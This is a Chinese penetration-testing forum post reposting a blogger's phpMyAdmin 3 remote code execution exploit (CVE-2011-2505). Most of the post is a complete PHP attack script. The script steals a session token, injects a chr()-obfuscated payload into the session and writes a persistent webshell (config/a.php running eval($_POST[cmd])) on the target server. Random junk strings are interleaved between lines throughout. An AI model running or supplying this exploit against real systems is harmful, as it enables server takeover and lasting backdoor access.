中国网络渗透测试联盟
标题:
phpadmin3 remote code execute php版本exploit
[打印本页]
作者:
admin
时间:
2013-2-21 09:13
标题:
phpadmin3 remote code execute php版本exploit
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
7 f. [: v% B3 S" U. ~- s4 l
& c0 r. {! Z& ^5 `
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
3 S8 z8 w) _9 ?* e
; g) I# ]' l" O0 _& U6 K' y0 V
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
/ p6 Z5 |0 [7 C. s( G
一是session.auto_start = 1;
' O, p- y% {" r+ o: G# j
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
9 l' u+ p2 k5 V8 j- F
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
" b8 \ A0 N0 m1 ]; `! v
6 ?, V$ _+ N! ]3 ?
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
; Q/ @. N" i( G4 N1 ]# E
& |, E: I7 W6 p' C
于是写了这个php版本的exp,代码如下:
1 Y3 p* w+ j+ y0 E' p
6 G$ S2 m8 n1 s9 B3 Z7 {+ D* J
#!/usr/bin/php
; n: W. H8 e4 s
<?php
/ b! p0 d- K+ [9 |# z$ W
print_r('
# t8 |; A. @& M1 |0 ^! y
+---------------------------------------------------------------------------+
+ z7 N4 O" ^+ h! O4 W0 }4 ?+ P4 B
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
( b. a$ K9 \# M; H; B& O4 S
by oldjun(
www.oldjun.com
)
$ H1 q+ {0 z( g
welcome to
www.t00ls.net
/ N6 |6 }* H6 {" {4 i1 K
mail:
oldjun@gmail.com
2 W% `2 c/ h i( M" W
Assigned CVE id: CVE-2011-2505
6 k( k2 F/ i( t+ C$ |
+---------------------------------------------------------------------------+
: P8 u% |0 |3 V; x* o
');
9 ~ M) t9 h* _) b1 i" M' c7 f g
0 ?: @2 X; X& u- X1 B; c
/**
; r3 v) y* L. A# o- t
* working when the directory:"config" exists and is writeable.
4 h- F& F) r% ?+ @
**/
5 D( g" }% s7 o% I) P' J! _
$ s* f0 Y" p2 o: b: t
if ($argc < 3) {
! i: R; d# p" |" y5 b/ N9 g5 R
print_r('
$ p: H( w. W( m$ F" a
+---------------------------------------------------------------------------+
/ o: p! a; w, ~+ K* v: _
Usage: php '.$argv[0].' host path
$ v4 x' y, [. B) [4 Y" l
host: target server (ip/hostname)
; a' J, Q9 F* e5 Z2 q
path: path to pma3
! H5 l) V$ ]! U1 G3 v# @5 e6 R) Y
Example:
* {" I: R6 @9 K7 k
php '.$argv[0].' localhost /pma/
2 y/ U, @$ K% W
+---------------------------------------------------------------------------+
& S' h) ^( P6 p2 o
');
5 d0 d/ M) Y/ S" ~% N* ~
exit;
' L1 B7 x& m( W5 w+ B
}
& o, Z! e! _, \( A4 q* b3 N
" ~( }1 o/ ^5 l$ S! c
$host = $argv[1];
- r# V: v5 h% h- p( z) y
$path = $argv[2];
4 H8 y4 O+ N: i: B0 Y; p
% F' o; X, ? A M4 U
/**
* v6 W; ?+ T; A# p$ p3 z9 }
* Try to determine if the directory:"config" exists
. X% ?% y7 N( O. F6 p9 _4 y
**/
8 l* E2 R! @; W# K5 ?; I( h& V0 m7 L
echo "[+] Try to determine if the directory:config exists....\n";
4 C. h( x9 U: e+ M: p) J
$returnstr=php_request('config/');
) E" }3 v0 j% C4 h
if(strpos($returnstr,'404')){
1 s. l- x4 S: f) ~& p; v
exit("[-] Exploit Failed! The directory:config do not exists!\n");
( A4 z" M8 _4 B( y2 o! u! Y
}
8 A: {0 I1 c& n, s
% ~! {6 E" k1 j1 ]
/**
( ^, c7 ^% {: r
* Try to get token and sessionid
& B$ R: _. D8 C2 b% C- E8 N4 g* Y: r
**/
/ W, @$ M. i* f
echo "[+] Try to get token and sessionid....\n";
& Y9 x) h) J9 f3 ?
$result=php_request('index.php');
) m1 O$ |5 a6 V* k$ o# O: Z2 [
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
- S& ]5 T% o- Y
$token=$resp[3];
+ v7 o+ _. e, B3 K% P* A
$sessionid=$resp[1];
* w2 h' k: c! Z4 t
if($token && $sessionid){
1 C0 b7 f v" o. L N. l, K
echo "[+] token
token\n";
W$ y7 z. V: p- R- m) S3 q+ B7 t5 b
echo "[+] Session ID
sessionid\n";
2 c3 o/ k9 M1 G# N
}else{
" |' Z' P' d9 J1 ^3 c& i
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
! A; }4 w: S5 \: {8 P
}
T, ^! s( \# E' F
' S7 l6 N, J/ U9 r
/**
, q7 r& L" _! T* x
* Try to insert shell into session
. n. @4 N$ g" U) K2 x' e7 w
**/
" f8 `% L" p) z$ S2 K
echo "[+] Try to insert shell into session....\n";
3 k& k7 ~ N ]) v
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
: @0 Z, r" D. ^
# C1 `) }: f) g B
/**
+ U% \; ~$ T; X6 M$ D* @! |; |
* Try to create webshell
% r" M0 e9 \: h! @1 P
**/
2 e1 h* q/ |) i. |: X2 v, A
echo "[+] Try to create webshell....\n";
- ]* ?" O; e' S
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
0 l$ Q7 a5 h/ \) @: j( ]
/**
+ r D b# ^! t: A
* Try to check if the webshell was created successfully
2 K* j% ~+ ]4 U
**/
7 a) ^- x, B* @& G5 @
echo "[+] Try to check if the webshell was created successfully....\n";
" ^6 J! q6 Y3 B) V8 @: u
$content=php_request('config/config.inc.php');
* |$ U# n U! d& @
if(strpos($content,'t00ls')){
, O4 O) [+ g" j- Z6 ~0 j! E4 I* t/ U
echo "[+] Congratulations! Expoilt successfully....\n";
1 S i5 O3 ?- t& x' J& i
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
4 Q- t* Z0 [- z' r/ F3 B! |
}else{
6 Y* o0 Y5 x5 I; o0 s" z- |
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
7 l% L! y9 D7 @ m
}
- \7 N# J, a4 x& X3 Z
" G: }3 e4 O. J" j- w; Y
function php_request($url,$data='',$cookie=''){
- O1 M+ B$ H' {) |! G2 p
global $host, $path;
# o( E% O, |2 K9 E c
P9 h7 N; f+ b( e/ `
$method=$data?'POST':'GET';
9 Z6 B) i" S. i# u6 s* `8 u& L
. n* P% w" b+ p8 }
$packet = $method." ".$path.$url." HTTP/1.1\r\n";
w' c8 d# N! J3 ^' c, x
$packet .= "Accept: */*\r\n";
& j" [# T n/ s6 ~8 {8 _7 e! J
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
! ^' W. T) D) ]$ q' L$ W# ~" h, l# i
$packet .= "Host: $host\r\n";
& _6 }3 }/ k/ I4 r! B% _
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
, x2 j" \) P" D, t$ d
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
; \1 Y" u+ s7 a w' N8 h7 S! q
$packet .= $cookie?"Cookie: $cookie\r\n":"";
3 R0 ^+ [& m! b+ K0 a/ G; q3 c
$packet .= "Connection: Close\r\n\r\n";
- g$ \' T6 w% D; W4 y9 g4 e7 h
$packet .= $data?$data:"";
# m9 K" t# j9 D7 M
, @9 o3 `, ?* S7 {( `/ R& G
$fp = fsockopen(gethostbyname($host), 80);
, P; X" s0 P* z' M2 k1 M5 x2 J- u4 I
if (!$fp) {
) [2 T/ ?, H+ _0 Z) q: c
echo 'No response from '.$host; die;
+ K6 b( |% p) M% w! t: X: |
}
# m+ m; C' i6 ?2 c! X* k% A; ]
fputs($fp, $packet);
% M6 d6 d& o9 F+ p
! H$ [+ I. D/ X9 B# s s. `
$resp = '';
3 |' B: D5 h- m5 g! F
, C" M3 K% y8 V0 W5 h
while ($fp && !feof($fp))
( k3 H" I1 }# Q: H! x
$resp .= fread($fp, 1024);
6 P: E6 E9 i0 P. [0 e% }% n& g
# c' ~' Z- Z6 ], a H7 A: a; F
return $resp;
3 ]/ t) ]( d5 i3 z; c, A$ X
}
/ N* t* b. n: o% ^
2 s6 R5 O; \3 ~# {# p8 I$ ]# a
?>
: V* U! m' L0 H
.
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2